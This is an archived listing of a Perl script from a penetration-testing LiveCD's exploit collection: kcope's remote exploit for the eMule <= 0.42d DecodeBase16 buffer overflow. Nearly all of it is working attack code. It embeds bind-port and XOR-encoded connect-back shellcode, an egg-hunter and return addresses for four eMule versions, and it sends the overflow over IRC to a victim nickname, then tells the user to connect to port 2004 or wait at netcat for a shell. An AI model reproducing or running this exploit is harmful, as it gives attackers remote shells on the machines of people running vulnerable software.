home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / p2p / emule / eMuleBufferOverflowExp10039.pl < prev    next >
Perl Script  |  2005-02-12  |  8KB  |  241 lines

  1. #!/usr/bin/perl
  2. #
  3. # eMule <= 0.42d Remote Exploit by kcope
  4. # exploits the DecodeBase16 buffer overflow
  5. # tested on WinXP SP1 / Win2k SP4
  6. # bindport/connectback shellcode
  7. #
  8. # thanks Kostya Kortchinsky for his posting to bugtraq
  9. # greetings to sander, blackzero, beginna, adize, A-cru and wY :p
  10. # have fun!
  11. #
  12. # kcope, kingcope gmx net Apr 2004
  13. #
  14.  
  15. use Socket;
  16. use Getopt::Std;
  17.  
  18. # bindport shellcode (port 2004) thanks to metasploit
  19. $sc = "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x21\x39".
  20. "\x11\x09\x83\xeb\xfc\xe2\xf4\xc9\x6f\x11\x09\x21\x6a\x44\x5f\x76".
  21. "\xb2\x7d\x2d\x39\xb2\x54\x35\xaa\x6d\x14\x71\x20\xd3\x9a\x43\x39".
  22. "\xb2\x4b\x29\x20\xd2\xf2\x3b\x68\xb2\x25\x82\x20\xd7\x20\xf6\xdd".
  23. "\x08\xd1\xa5\x19\xd9\x65\x0e\xe0\xf6\x1c\x08\xe6\xd2\xe3\x32\x5d".
  24. "\x1d\x05\x7c\xc0\xb2\x4b\x2d\x20\xd2\x77\x82\x2d\x72\x9a\x53\x3d".
  25. "\x38\xfa\x82\x25\xb2\x10\xe1\xca\x3b\x20\xc9\x7e\x67\x4c\x52\xe3".
  26. "\x31\x11\x57\x4b\x09\x48\x6d\xaa\x20\x9a\x52\x2d\xb2\x4a\x15\xaa".
  27. "\x22\x9a\x52\x29\x6a\x79\x87\x6f\x37\xfd\xf6\xf7\xb0\xd6\x88\xcd".
  28. "\x39\x10\x09\x21\x6e\x47\x5a\xa8\xdc\xf9\x2e\x21\x39\x11\x99\x20".
  29. "\x39\x11\xbf\x38\x21\xf6\xad\x38\x49\xf8\xec\x68\xbf\x58\xad\x3b".
  30. "\x49\xd6\xad\x8c\x17\xf8\xd0\x28\xcc\xbc\xc2\xcc\xc5\x2a\x5e\x72".
  31. "\x0b\x4e\x3a\x13\x39\x4a\x84\x6a\x19\x40\xf6\xf6\xb0\xce\x80\xe2".
  32. "\xb4\x64\x1d\x4b\x3e\x48\x58\x72\xc6\x25\x86\xde\x6c\x15\x50\xa8".
  33. "\x3d\x9f\xeb\xd3\x12\x36\x5d\xde\x0e\xee\x5c\x11\x08\xd1\x59\x71".
  34. "\x69\x41\x49\x71\x79\x41\xf6\x74\x15\x98\xce\x10\xe2\x42\x5a\x49".
  35. "\x3b\x11\x0e\xf5\xb0\xf1\x63\x31\x69\x46\xf6\x74\x1d\x42\x5e\xde".
  36. "\x6c\x39\x5a\x75\x6e\xee\x5c\x01\xb0\xd6\x61\x62\x74\x55\x09\xa8".
  37. "\xda\x96\xf3\x10\xf9\x9c\x75\x05\x95\x7b\x1c\x78\xca\xba\x8e\xdb".
  38. "\xba\xfd\x5d\xe7\x7d\x35\x19\x65\x5f\xd6\x4d\x05\x05\x10\x08\xa8".
  39. "\x45\x35\x41\xa8\x45\x35\x45\xa8\x45\x35\x59\xac\x7d\x35\x19\x75".
  40. "\x69\x40\x58\x70\x78\x40\x40\x70\x68\x42\x58\xde\x4c\x11\x61\x53".
  41. "\xc7\xa2\x1f\xde\x6c\x15\xf6\xf1\xb0\xf7\xf6\x54\x39\x79\xa4\xf8".
  42. "\x3c\xdf\xf6\x74\x3d\x98\xca\x4b\xc6\xee\x3f\xde\xea\xee\x7c\x21".
  43. "\x51\x6f\xd1\xc3\x4a\xee\x5c\x25\x08\xca\x5a\xde\xe9\x11\x09";
  44.  
  45. # connect back shellcode by lion, xor 0x21 
  46. $cbsc = 
  47. "\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B\x21\xE2\xFA".
  48. "\xEB\x05\xE8\xEB\xFF\xFF\xFF".
  49. "\xC8\xDA\x21\x21\x21\x7E\x45\x80\x11\x21\x21\x21\xAA\x61\x2D\xAA".
  50. "\x51\x3D\x8C\xAA\x49\x29\xAA\xD6\x4B\x25\x78\xC9\xBA\x21\x21\x21".
  51. "\xC3\xD8\x49\x12\x13\x21\x21\x49\x56\x52\x13\x7E\x75\xDE\x37\xAA".
  52. "\xC9\x4B\x25\x78\xC9\xA3\x21\x21\x21\xC3\xD8\xA0\xCD\xB1\x20\x21".
  53. "\x21\x75\x49\x20\x20\x21\x21\xDE\x77\x31\x71\x71\x71\x71\x61\x71".
  54. "\x61\x71\xDE\x77\x35\xAA\xF9\x49\x5E\x21\x21\x20\x49\x23\x21\x21".
  55. "\x14\xAA\xED\x4B\x31\x70\x72\xDE\x77\x39\xA4\xE1\x54\x6B\x49\x42".
  56. "\x4C\x45\x21\xA8\x47\x11\xA2\xCD\x75\xAC\x1D\x05\x4B\x34\x78\x8A".
  57. "\xC3\xDC\xE7\x65\x05\x31\x65\xDF\x65\x05\x1C\xA8\x7D\x05\x69\xA8".
  58. "\x7D\x05\x6D\xA8\x7D\x05\x71\xAC\x65\x05\x31\x75\x71\x70\x70\x70".
  59. "\x4B\x20\x70\x70\xDE\x57\x11\x70\xDE\x77\x25\xAA\xED\x4B\xDE\xDE".
  60. "\x10\xDE\x77\x29\x72\xDE\x77\x3D\xDE\x77\x2D\x70\x77\xAA\x64\x1D".
  61. "\xAA\x75\x09\x59\x22\xF4\x73\xAA\x53\x01\x22\xD4\x12\xE8\x68\x60".
  62. "\x8C\x22\xE4\x12\xFA\x2E\x9F\x31\x1B\xF7\x55\x29\xE0\xEA\x2C\x22".
  63. "\xFB\x61\xCA\xD0\x1A\x3E\x54\xC6\x7B\xAA\x7B\x05\x22\xFC\x47\xAA".
  64. "\x2D\x6A\xAA\x7B\x3D\x22\xFC\xAA\x25\xAA\x22\xE4\x8A\x7F\x78\xE2".
  65. "\xC9\x21\xDE\xDE\xDE\xAF\x6F\x2F\xCD\x53\xDF\x92\x37\x8C\xF8\x24".
  66. "\xEF\x5F\xF9\xC3\x52\xEA\xCC\xDD\x1A\xF8\x28\xD4\x8C\xCD\xD8\x8B".
  67. "\x41\xC6\x58\xE7\x58";
  68.  
  69. # find shellcode in memory
  70. $find_sc = "648B3D08000000BA0100000042424264".
  71. "8B1A8BCB2BCFB0D9909090FCF2AE803F".
  72. "EE9075F8807F01D975F2BA0100000042".
  73. "803C3A7475E64FFFE79090";
  74.  
  75. $find_sccb = "648B3D08000000BA0100000042424264".
  76. "8B1A8BCB2BCFB0EB909090FCF2AE803F".
  77. "109075F8807F015B75F2BA0100000042".
  78. "803C3A4B75E64FFFE79090"; 
  79.  
  80. $numtargets = 4;
  81.  
  82. @targets = 
  83. (
  84. ["eMule 0.42d", "7af65700", 76],
  85. ["eMule 0.42c", "514c5f00", 76],
  86. ["eMule 0.42b (Hotfix)", "d12e5f00", 76],
  87. ["eMule 0.42a", "012f5f00", 76]
  88. # ["eMule 0.30e", "acf65b00", 20]
  89. );
  90.  
  91. $exploiting_nick = "eMuleIRC3713"; # change this nickname if needed
  92.  
  93. sub connecttoserver()
  94. {
  95. $bool = "yes";
  96. $iaddr = inet_aton($ircserver) || die("Failed to find host: $ircserver");
  97. $paddr = sockaddr_in($ircport, $iaddr);
  98. $proto = getprotobyname('tcp');
  99. socket(SOCK1, PF_INET, SOCK_STREAM, $proto) || die("Failed to open socket:$!");
  100. connect(SOCK1, $paddr) || {$bool = "no"};
  101. }
  102.  
  103. sub usage() {
  104.  
  105. print "usage: emule4x.pl -n <nick> -s <server> <-t type> [-p port] [-c <ip:port>]\r\n".
  106. "use -c switch for reverse shell\r\n". 
  107. "example: perl emule4x.pl -n emuleuser -s irc.somenet.com -t 0\r\n\r\ntarget types:\r\n";
  108.  
  109. for ($i=0; $i<$numtargets; $i++) {
  110. print "\t[".$i."]...". $targets[$i][0]. "\r\n";
  111. exit;
  112. }
  113.  
  114. $| = 1;
  115. print "\r\n----------------------------------------------------------------------\r\n";
  116. print "eMule <= 0.42d Remote Exploit by kcope . kingcope[at]gmx.net\r\n\r";
  117. print "Tested on Win2k SP4/WinXP SP1\r\n";
  118. print "----------------------------------------------------------------------\r\nLets have fun!\r\n\r\n";
  119.  
  120. if (@ARGV < 4) {
  121. usage(); 
  122. }
  123.  
  124. %options=();
  125. getopt("scnpt",\%options);
  126.  
  127. $nickname = $options{n};
  128. $ircserver = $options{s};
  129. $type = $options{t};
  130.  
  131. if (!defined $targets[$type][0]) {
  132. print "Invalid target type.\r\n";
  133. exit;
  134. }
  135.  
  136. if (!defined $type) {
  137. print "Please specify a target type.\r\n";
  138. exit;
  139. }
  140.  
  141. if (defined $options{p}) {
  142. $ircport = $options{p};
  143. } else {
  144. $ircport = 6667;
  145. }
  146.  
  147. $usecb=-1;
  148. if (defined $options{c}) {
  149. $usecb=1;
  150. $idx = index $options{c},":";
  151. $cbip = substr $options{c},0,$idx;
  152. $cbport = substr $options{c},$idx+1; 
  153. }
  154.  
  155. print "Target type set to ".$targets[$type][0].".\r\n";
  156. $ret = $targets[$type][1];
  157. $nops1 = "90" x $targets[$type][2];
  158. $nops2 = "90" x 40; # customize if needed
  159.  
  160. if ($usecb eq 1) {
  161. ($a1, $a2, $a3, $a4) = split(//, gethostbyname("$cbip"));
  162. $a1 = chr(ord($a1) ^ 0x21);
  163. $a2 = chr(ord($a2) ^ 0x21);
  164. $a3 = chr(ord($a3) ^ 0x21);
  165. $a4 = chr(ord($a4) ^ 0x21);
  166. substr($cbsc, 111, 4, $a1 . $a2 . $a3 . $a4);
  167.  
  168. ($p1, $p2) = split(//, reverse(pack("s", $cbport)));
  169. $p1 = chr(ord($p1) ^ 0x21);
  170. $p2 = chr(ord($p2) ^ 0x21);
  171. substr($cbsc, 118, 2, $p1 . $p2);
  172.  
  173. print "Using connect back method on $cbip port $cbport.\r\n";
  174. }
  175.  
  176. print "Connecting to $ircserver on port $ircport...";
  177.  
  178. connecttoserver();
  179.  
  180. if ($bool eq "no")
  181. {
  182. print "Connection refused.\r\n";
  183. exit(0);
  184. }
  185.  
  186. send(SOCK1,"NICK $exploiting_nick\r\n",0);
  187. send(SOCK1,"USER $exploiting_nick \"yahoo.com\" \"eu.dal.net\" :$exploiting_nick\r\n",0);
  188.  
  189. while (<SOCK1>) { 
  190. $line = $_;
  191. # print $line;
  192. if ((index $line, " 376 ") ne -1) {
  193. goto logged_in; 
  194. }
  195.  
  196. if ((index $line, "PING") ne -1) {
  197. substr($line,1,1,"O");
  198. send(SOCK1, $line, 0); 
  199. }
  200. }
  201.  
  202. logged_in:
  203.  
  204. print " ok\r\n"; 
  205. sleep(4); 
  206. print "Sending buffers to $nickname...";
  207.  
  208. # 005f4c51 eMule 0.42c (514c5f00)
  209. # 0057f67a eMule 0.42d (7AF65700)
  210.  
  211. if ($usecb eq 1) {
  212. send(SOCK1, "PRIVMSG $nickname :$cbsc\r\n", 0);
  213. send(SOCK1, "PRIVMSG $nickname :\x01SENDLINK\|" . $nops1 . "EB079090". $ret .
  214. "906681EC4000". $nops2 . $find_sccb ."\|\x01\r\n", 0);
  215. } else {
  216. send(SOCK1, "PRIVMSG $nickname :$sc\r\n", 0);
  217. send(SOCK1, "PRIVMSG $nickname :\x01SENDLINK\|" . $nops1 . "EB079090". $ret .
  218. "906681EC4000". $nops2 . $find_sc ."\|\x01\r\n", 0); 
  219. }
  220.  
  221. if ($usecb ne 1) {
  222. print "\r\nNow try connecting to ".$nickname."'s ip on port 2004.\r\n";
  223. } else {
  224. print "\r\nWatch at your netcat for some shell.\r\n"; 
  225. }
  226.  
  227. $recv = <SOCK1>;
  228. $recv = <SOCK1>;
  229. $recv = <SOCK1>;
  230. $recv = <SOCK1>;
  231. $recv = <SOCK1>;
  232. $recv = <SOCK1>;
  233. $recv = <SOCK1>;
  234. $recv = <SOCK1>;
  235. $recv = <SOCK1>;
  236. print " done\r\n";
  237.  
  238. # EOF